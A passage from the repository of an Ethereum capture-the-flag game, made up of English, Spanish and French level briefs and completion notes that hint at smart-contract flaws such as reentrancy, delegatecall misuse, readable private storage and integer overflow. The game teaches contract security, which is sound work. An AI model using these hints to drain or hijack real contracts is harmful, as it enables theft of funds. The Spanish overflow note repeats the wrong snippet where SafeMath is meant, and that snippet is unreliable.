you're allowing or disallowing people from doing things. In this example, a developer might scan through the code and think that `transfer` is the only way to move tokens around, low and behold there are other ways of performing the same operation with a different implementation. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | As the previous level, `delegate` mentions, the use of `delegatecall` to call 2 | libraries can be risky. This is particularly true for contract libraries that 3 | have their own state. This example demonstrates why the `library` keyword 4 | should be used for building libraries, as it prevents the libraries from 5 | storing and accessing state variables. 6 | 7 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | The creator of this contract was careful enough to protect the sensitive areas of its storage. 2 | 3 | Unlock this contract to beat the level. 4 | 5 | Things that might help: 6 | * Understanding how storage works 7 | * Understanding how parameter parsing works 8 | * Understanding how casting works 9 | 10 | Tips: 11 | * Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider. 12 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3's `getStorageAt(...)` can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible. 2 | 3 | It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | 2 | A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent `0.001` ether to obtain more tokens. They have since lost the contract address. 3 | 4 | This level will be completed if you can recover (or remove) the `0.001` ether from the lost contract address. 5 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | The goal of this level is for you to steal all the funds from the contract. 2 | 3 |   4 | Things that might help: 5 | * Untrusted contracts can execute code where you least expect it. 6 | * Fallback methods 7 | * Throw/revert bubbling 8 | * Sometimes the best way to attack a contract is with another contract. 9 | * See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console" 10 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | Сan you get the item from the shop for less than the price asked? 2 | 3 | ##### Things that might help: 4 | * `Shop` expects to be used from a `Buyer` 5 | * Understanding restrictions of view functions 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | Contracts can manipulate data seen by other contracts in any way they want. 2 | 3 | It's unsafe to change the state based on external and untrusted contracts logic. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/stake.md: -------------------------------------------------------------------------------- 1 | Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract? 2 | 3 | To complete this level, the contract state must meet the following conditions: 4 | 5 | - The `Stake` contract's ETH balance has to be greater than 0. 6 | - `totalStaked` must be greater than the `Stake` contract's ETH balance. 7 | - You must be a staker. 8 | - Your staked balance must be 0. 9 | 10 | Things that might be useful: 11 | 12 | - [ERC-20](https://github.com/ethereum/ercs/blob/master/ERCS/erc-20.md) specification. 13 | - [OpenZeppelin contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) 14 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/stake_complete.md: -------------------------------------------------------------------------------- 1 | Congratulations, you have cracked the `Stake` machine! 2 | 3 | When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted. 4 | 5 | For more info, check out [EEA EthTrust [S] Check External Calls Return](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return) requirement, and always use [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) when interacting with external ERC-20 tokens. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/switch.md: -------------------------------------------------------------------------------- 1 | Just have to flip the switch. Can't be that hard, right? 2 | 3 | ##### Things that might help: 4 | Understanding how `CALLDATA` is encoded. 5 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/switch_complete.md: -------------------------------------------------------------------------------- 1 | Assuming positions in `CALLDATA` with dynamic types can be erroneous, especially when using hard-coded `CALLDATA` positions. 2 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | Claim ownership of the contract below to complete this level. 2 | 3 |   4 | Things that might help 5 | * See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console" 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | The goal of this level is for you to hack the basic token contract below. 2 | 3 | You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. 4 | 5 |   6 | Things that might help: 7 | * What is an odometer? -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | Overflows are very common in solidity and must be checked for with control statements such as: 2 | ``` 3 | if(a + c > a) { 4 | a = a + c; 5 | } 6 | ``` 7 | 8 | An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this: 9 | ``` 10 | a = a.add(c); 11 | ``` 12 | If there is an overflow, the code will revert. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/unstoppable.md: -------------------------------------------------------------------------------- 1 | There's a lending pool with a million tokens in balance, offering flash loans for free. 2 | 3 | If only there was a way to attack and stop the pool from offering flash loans ... 4 | 5 | You start with 100 tokens in balance. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | Unlock the vault to pass the level! -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible. 2 | 3 | To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | Acabas de descubrir un Alien contract. Reclama la propiedad sobre él para completar el nivel. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * Entender como funciona el storage de un array 6 | * Entender las [especificaciones ABI](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * Usar una estrategia sutil y poco común -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | Ese nivel aprovecha del hecho que la EVM no valida el tamaño de un ABI-encoded array contra su payload efectivo. 2 | 3 | Adicionalmente, aprovecha de un underflow aritmético del tamaño del array, expandiendo los límites del array a la totalidad del área de storage de `2^256`. Ese momento es cuando el usuario es capaz de modificar el storage del contrato por completo. 4 | 5 | Ambas vulnerabilidades están inspiradas en el [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) de 2017. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | Eso es el típico juego del lanzamiento de la moneda donde necesitaras construir la estrategia ganadora adivinando el resultado de un lanzamiento. Para completar el nivel deberás usar tus habilidades psíquicas para adivinar exactamente el resultado 10 veces seguidas. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * Mira la página de ["?"](https://ethernaut.openzeppelin.com/help) en el menu de arriba a la derecha, en la sección "Más allá de la consola" -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | El objetivo de ese nivel es lo de reclamar la propiedad de la instancia del contrato. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * Mira en la documentación de Solidity sobre la función `delegatecall`, como funciona, como puede utilizarse para delegar operaciones a librerías on-chain, y cuáles consecuencias tiene a la hora de ejecutarse 6 | * Métodos fallback 7 | * Método ids -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | El uso de `delegatecall` es particularmente peligroso y ha sido utilizado como vector de ataque en diferentes e históricos hacks. Con él, tu contrato está prácticamente diciendo "Hola, -otro contrato- u -otra librería-, haz lo que quieras con mi estado". Los delegados tienen total acceso al estado de tu contrato. Esa funcionalidad es muy potente, pero a la vez peligrosa, y tiene que ser usada con extrema precaución. 2 | 3 | Diríjanse a [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) por una precisa descripción de como esa idea ha sido usada para robar 30M de dólares. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | Esta es una billetera simple que libera fondos con el tiempo. Puedes retirar los fondos 2 | lentamente convirtiéndose en un socio withdrawer. 3 | 4 | Si puedes negarle al owner que retire fondos cuando llame a `withdraw()` 5 | (mientras el contrato aún tenga fondos y la transacción sea de 1 millón de gas o menos) ganarás este nivel. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | Este nivel te pedirá que rompas `DexTwo`, un contrato de `Dex` sutilmente modificado a partir del nivel anterior. 2 | 3 | Necesita robar todos los saldos de token1 y token2 del contrato `DexTwo` para tener éxito en este nivel. 4 | 5 | De nuevo, comenzarás con 10 tokens de `token1` y 10 de` token2`. El contrato DEX sigue comenzando con 100 de cada token. 6 | 7 |   8 | Cosas que pueden ayudar: 9 | * ¿Cómo se ha modificado el método `swap`? 10 | * ¿Podrías utilizar un contrato de token personalizado en tu ataque? -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | Este ascensor no te permitirá llegar a la parte superior de tu edificio. ¿Correcto? 2 | 3 | ##### Cosas que pueden ayudar: 4 | * A veces Solidity no es bueno para cumplir las promesas. 5 | * Este `Elevator` espera ser utilizado desde un `Building`. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | Puedes utilizar el modifier `view` en una interfaz para evitar modificaciones de estado. El modifier `pure` también evita que las funciones modifiquen el estado. 2 | Asegúrate de leer la [documentación de Solidity](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) y aprendas sus advertencias. 3 | 4 | Una forma alternativa de resolver este nivel es construir una función `view` que devuelva resultados diferentes dependiendo de los datos de entrada, pero que no modifique el estado, por ejemplo `gasleft()`. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | Mira atentamente al código del contrato abajo. 2 | 3 | Ganarás este nivel si: 4 | 1) Consigues ser el `owner` del contrato 5 | 2) Reduces su saldo a 0 6 | 7 |   8 | Cosas que pueden ser útiles: 9 | * Como mandar ether interactuando con el ABI de un contrato 10 | * Como mandar ether sin usar el ABI 11 | * Como convertir entre wei/ether (consulta el comando `help()`) 12 | * Métodos Fallback -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | Conoces los conceptos básicos de cómo ether entra y sale de los contratos, incluido el uso del método fallback. 2 | 3 | También aprendiste sobre el contrato Ownable de OpenZeppelin y cómo se puede usar para restringir el uso de algunos métodos a una dirección privilegiada. 4 | 5 | ¡Pasa al siguiente nivel cuando estas listo! -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | Reclama la propiedad del contrato a continuación para completar este nivel. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * Solidity Remix IDE -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | Algunos contratos simplemente no aceptan tu dinero `¯ \ _ (ツ) _ / ¯` 2 | 3 | El objetivo de este nivel es hacer que el saldo del contrato sea mayor que cero. 4 | 5 |   6 | Cosas que pueden ayudar: 7 | * Métodos fallback 8 | * A veces, la mejor forma de atacar un contrato es con otro contrato. 9 | * Consulte la página ["?"](https://ethernaut.openzeppelin.com/help), sección "Más allá de la consola" -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | En Solidity, para que un contrato pueda recibir ether, la función de fallback debe estar marcada como `payable`. 2 | 3 | Sin embargo, no hay forma de evitar que un atacante envíe ether a un contrato a través de `selfdestruct`. Por lo tanto, es importante no contar con la invariante `address(this).balance == 0` para cualquier lógica de contrato. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | Pase el gatekeeper y regístrate como entrant para pasar este nivel. 2 | 3 | ##### Cosas que pueden ayudar: 4 | * Recuerda lo que has aprendido en los niveles de Telephone y Token. 5 | * Puedes obtener más información sobre la función especial `gasleft()`, en la documentación de Solidity (consulta [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) y [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | ¡Bien hecho! A continuación, pruebe con el segundo gatekeeper... -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | Ahora que sabes superar al gatekeeper, tienes lo necesario para unirte a [theCyber](https://etherscan.io/address/thecyber.eth#code), un club descentralizado en la red principal de Ethereum. Obtén una frase de contraseña comunicándote con el creador en [reddit] (https://www.reddit.com/user/0age) o por [email](mailto: 0age@protonmail.com) y utilízala para registrarte con el contrato en [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (Ten en cuenta que el contrato solo aceptará a los primeros 128 participantes). -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/gatekeeper3.md: -------------------------------------------------------------------------------- 1 | Enfréntate a las puertas y conviértete en un participante. 2 | 3 | ##### Cosas que pueden ayudar: 4 | * Recuperar valores de retorno de funciones de bajo nivel. 5 | * Estar atento con la semántica. 6 | * Actualice cómo funciona el almacenamiento en Etherum. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/gatekeeper3_complete.md: -------------------------------------------------------------------------------- 1 | ¡Buen trabajo! Para más información lee [esto](https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html?highlight=getStorageAt#getstorageat) y [esto](https://medium.com/loom-network/ethereum-solidity-memory-vs-storage-how-to-initialize-an-array-inside-a-struct-184baf6aa2eb). -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/goodsamaritan.md: -------------------------------------------------------------------------------- 1 | Esta instancia representa a un buen samaritano que es rico y está listo para donar algunas monedas a cualquiera que lo solicite. 2 | 3 | ¿Serías capaz de drenar todo el saldo de su Monedero? 4 | 5 | Cosas que podrían ayudar: 6 | 7 | - [Solidity Errores Personalizados](https://blog.soliditylang.org/2021/04/21/custom-errors/) -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/goodsamaritan_complete.md: -------------------------------------------------------------------------------- 1 | ¡Felicidades! 2 | 3 | Los errores personalizados en Solidity se identifican por su ‘selector’, de la misma manera que con las funciones. Se propagan a través de la cadena de llamadas hasta que son capturados por una instrucción `catch` en un bloque `try-catch`, como se ve en la función `requestDonation()` de GoodSamaritan. Por estas razones, no es seguro asumir que el error fue generado por el objetivo inmediato de la llamada de contrato (es decir, Wallet en este caso). Cualquier otro contrato más abajo en la cadena de llamadas puede declarar el mismo error, y ​​lanzarlo en una ubicación inesperada, como en la función `notify(uint256 amount)` en su contrato de atacante. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | ¡Felicidades! Has completado el tutorial. 2 | Eche un vistazo al código de Solidity del contrato con el que acaba de interactuar a continuación. 3 | 4 | Ahora estás listo para completar todos los niveles del juego y, a partir de ahora, estás solo. 5 | 6 | ¡¡Buena suerte!! -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | El contrato a continuación representa un juego muy simple: quien le envíe una cantidad de ether mayor que el premio actual se convierte en el nuevo rey. En tal evento, al rey derrocado se le paga el nuevo premio, ¡ganando un poco de ether en el proceso! Mas Ponzi que eso no hay xD 2 | 3 | Un juego tan divertido. Tu objetivo es romperlo. 4 | 5 | Cuando envías la instancia de nuevo al nivel, el nivel reclamará ser el rey. Superarás el nivel si puedes evitar esa autoproclamación. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | La mayoría de los niveles de Ethernaut intentan exponer (en una forma simplificada, por supuesto) algo que realmente sucedió. Un truco real o un error real. 2 | 3 | En este caso, consulta: 4 | [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) 5 | y 6 | [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html) -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/magicnum.md: -------------------------------------------------------------------------------- 1 | Para resolver este nivel, solo necesitas proporcionar a Ethernaut un `Solver`, un contrato que responde a `whatIsTheMeaningOfLife()` con el número correcto de 32 bytes. 2 | 3 | Fácil, ¿verdad? 4 | Bueno ... Hay una trampa. 5 | 6 | El código del `Solver` debe ser realmente pequeño. Realmeeeeeente diminuto. Jodidamente minúsculo: 10 bytes como máximo. 7 | 8 | Sugerencia: Quizás es hora de dejar la comodidad del compilador Solidity momentáneamente y construir este a mano O_o. 9 | Así es: puro bytecode EVM. 10 | 11 | ¡Suerte! -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/magicnum_complete.md: -------------------------------------------------------------------------------- 1 | ¡Felicidades! Si has resuelto este nivel, puedes considerarte un Master of the Universe. 2 | 3 | Continúa y escoge un objeto aleatorio en la habitación al estilo Magnum. Ahora, intenta moverlo desde lejos; Es posible que tus habilidades de telequinesia hayan comenzado a funcionar. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | La motocicleta de Ethernaut tiene un nuevo diseño de motor actualizable. 2 | 3 | ¿Serías capaz de `selfdestruct` su motor y romper la moto? 4 | 5 | Cosas que pueden ayudar: 6 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 7 | - [UUPS pattern](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) 8 | - [Initializable contract](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin es un token ERC20 y ya los tienes todos en tu billetera. El problema es que solo podrás transferirlos después de un período de bloqueo de 10 años. ¿Puedes averiguar cómo enviarlos a otra dirección para poder transferirlos libremente? Completa este nivel haciendo que el saldo de tu token sea 0. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * La especificación [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 6 | * La librería de [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | Cuando utilizas un código que no sea el tuyo, es una buena idea familiarizarse con él para comprender bien cómo encaja todo. Esto puede ser particularmente importante cuando hay varios niveles de imports (tus imports tienen imports) o cuando estás implementando controles de autorización, p. Ej. cuando permites o impides que las personas hagan cosas. En este ejemplo, un desarrollador podria mirar el código y pensar que `transfer` es la única forma de mover tokens, y descubrir que hay otras formas de realizar la misma operación con una implementación diferente. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | Como en el nivel anterior, `delegate` menciona, el uso de `delegatecall` para llamar 2 | las librerías puede ser peligroso. Esto es particularmente cierto para las librerías que 3 | tienen su propio estado. Este ejemplo demuestra por qué la palabra clave `library` 4 | debe usarse para construir librerías, ya que evita que ellas puedan 5 | almacenar y acceder a las variables de estado. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | El creador de este contrato fue lo suficientemente cuidadoso para proteger las áreas sensibles de su storage. 2 | 3 | Desbloquea este contrato para superar el nivel. 4 | 5 | Cosas que pueden ayudar: 6 | * Entender cómo funciona el storage 7 | * Comprender cómo funciona el parsing de parámetros 8 | * Entender cómo funciona el casting 9 | 10 | Consejos: 11 | * Recuerda que MetaMask solo es una herramienta que facilita algunas operaciones. Utilice otra herramienta si presenta problemas. El juego podría ser avanzado a veces e implicar el uso de Remix o de tu propio proveedor de Web3. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | Nada en la red de Ethereum es privado. La palabra clave `private` es simplemente una construcción artificial del lenguaje. La función `getStorageAt(...)` de Web3 se puede usar para leer cualquier cosa desde el storage del contrato. Sin embargo, puede ser complicado leer lo que deseas, ya que se utilizan varias reglas y técnicas de optimización para compactar el almacenamiento tanto como sea posible. 2 | 3 | No puede ser mucho más complicado de lo que se propuso en este nivel. Para obtener más información, consulta este excelente artículo de "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | Un creador de contratos ha construido una factory de tokens muy simple. Cualquiera puede crear nuevos tokens con facilidad. Después de implementar el primer contrato de tokens, el creador envió `0.5` ether para obtener más tokens. Desde entonces han perdido la dirección del contrato. 2 | 3 | Este nivel se completará si puedes recuperar (o eliminar) los `0.5` ether de la dirección de contrato que se ha perdido. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | El objetivo de este nivel es que robes todos los fondos del contrato. 2 | 3 |   4 | Cosas que pueden ayudar: 5 | * Los contratos que no son de confianza pueden ejecutar código donde menos lo esperas. 6 | * Métodos fallback 7 | * Throw/revert 8 | * A veces, la mejor forma de atacar un contrato es con otro contrato. 9 | * Consulte la página ["?"](https://ethernaut.openzeppelin.com/help), sección "Más allá de la consola" -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | ¿Puedes conseguir el artículo en la tienda por menos del precio solicitado? 2 | 3 | ##### Cosas que pueden ayudar: 4 | * `Shop` espera ser utilizado por un `Buyer` 5 | * Entender cómo funcionan la opciones de `gas()` -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | Los contratos pueden manipular los datos de otros contratos de la forma que desean. 2 | 3 | No es seguro aprobar acciónes haciendo doble llamadas incluso a la misma función view. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | Reclame la propiedad del contrato a continuación para completar este nivel. 2 | 3 |   4 | Cosas que pueden ayudar 5 | * Consulte la página ["?"](https://ethernaut.openzeppelin.com/help), sección "Más allá de la consola" -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | El objetivo de este nivel es piratear el contrato de token a continuación. 2 | 3 | Se te dan 20 tokens para empezar y superarás el nivel si de alguna manera consigues tokens adicionales. Preferiblemente una gran cantidad de tokens. 4 | 5 |   6 | Cosas que pueden ayudar: 7 | * ¿Qué es un odómetro? -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | Los overflows son muy comunes en Solidity y deben verificarse con controles como: 2 | ``` 3 | if(a + c > a) { 4 | a = a + c; 5 | } 6 | ``` 7 | 8 | Una alternativa más sencilla es utilizar la librería SafeMath de OpenZeppelin, que comprueba automáticamente si hay overflows en todos los operadores matemáticos. El código resultante se ve así: 9 | ``` 10 | if(a + c > a) { 11 | a = a + c; 12 | } 13 | ``` 14 | Si hay un overflow, el código hará revert. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/unstoppable.md: -------------------------------------------------------------------------------- 1 | Hay una lending pool con un millón de tokens, que ofrece flash loans de forma gratuita. 2 | 3 | Si tan solo hubiera una forma de atacar y evitar que la pool ofrezca flash loans... 4 | 5 | Empiezas con 100 tokens en tu billetera. -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | ¡Desbloquea el vault para pasar de nivel! -------------------------------------------------------------------------------- /client/src/gamedata/es/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | Es importante recordar que marcar una variable como privada solo evita que otros contratos accedan a ella. Las variables de estado marcadas como privadas y locales son de acceso público. 2 | 3 | Para garantizar que los datos sean privados, es necesario cifrarlos antes de colocarlos en la red. En este escenario, la clave de descifrado nunca debe enviarse en la red, ya que será visible para cualquiera que la busque. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) proporcionan una forma de determinar si alguien posee un parámetro secreto, sin tener que revelar el parámetro. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | Vous avez découvert un contrat Alien. Devenez propriétaire du contrat pour terminer le niveau. 2 | 3 |   4 | Choses qui pourraient aider 5 | * Comprendre le fonctionnement du stockage d'array 6 | * Comprendre les [spécifications ABI](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * En utilisant une approche très `sournoise` 8 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | Ce niveau exploite le fait que l'EVM ne valide pas la longueur encodée en ABI d'un array par rapport à sa charge utile réelle. 2 | 3 | De plus, il exploite l'underflow arithmétique de la longueur du tableau, en étendant les limites du tableau à la zone de stockage entière de `2 ^ 256`. L'utilisateur est alors en mesure de modifier tous les contrats de stockage. 4 | 5 | Ces deux vulnérabilités sont inspirées du [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) de 2017. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | Il s'agit d'un jeu de lancer de pièces où vous devez construire votre série de victoires en devinant le résultat d'un lancer de pièces. Pour terminer ce niveau, vous devrez utiliser vos capacités psychiques pour deviner le résultat correct 10 fois de suite. 2 | 3 |   4 | Choses qui pourraient aider 5 | * Voir la page ["?"](https://ethernaut.openzeppelin.com/help), section "Au-delà de la console" 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | L'objectif de ce niveau est que vous devenez propriétaire de l'instance qui vous est donnée. 2 | 3 |   4 | Choses qui pourraient aider 5 | * Consultez la documentation de Solidity sur la fonction de bas niveau `delegatecall`, comment elle fonctionne, comment elle peut être utilisée pour déléguer des opérations aux libraries et quelles implications elle a sur le scope de l'exécution. 6 | * Fallback methods 7 | * Method ids 8 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | Il s'agit d'un simple wallet qui perd des fonds au fil du temps. 2 | Vous pouvez retirer les fonds lentement en devenant partenaire. 3 | 4 | Si vous pouvez empêcher le propriétaire de retirer des fonds lorsqu'il appelle `withdraw()` 5 | (alors que le contrat a encore des fonds et que la transaction est de 1M de gaz ou moins), vous gagnerez ce niveau. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | Cet ascenseur ne vous permettra pas d'atteindre le sommet de votre immeuble. Ou bien si? 2 | 3 | ##### Choses qui pourraient aider : 4 | * Parfois, solidity ne tient pas de promesses. 5 | * Cet `Elevator` s'attend à être utilisé à partir d'un `Building`. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | Vous pouvez utiliser le modificateur de fonction `view` sur une interface afin d'empêcher les modifications d'état. Le modificateur `pure` empêche également les fonctions de modifier l'état. 2 | Assurez-vous de lire [la documentation de Solidity] (http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) et d'apprendre ses mises en garde. 3 | 4 | Une autre façon de résoudre ce niveau consiste à créer une fonction de vue qui renvoie des résultats différents en fonction des données d'entrée mais ne modifie pas l'état, par ex. `gasleft()`. 5 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | Regardez attentivement le code du contrat ci-dessous. 2 | 3 | Vous battrez ce niveau si 4 | 1) vous revendiquez la propriété du contrat 5 | 2) vous réduisez son solde à 0 6 | 7 |   8 | Voici quelques conseils: 9 | * Comment envoyer de l'éther lors de l'interaction avec un ABI 10 | * 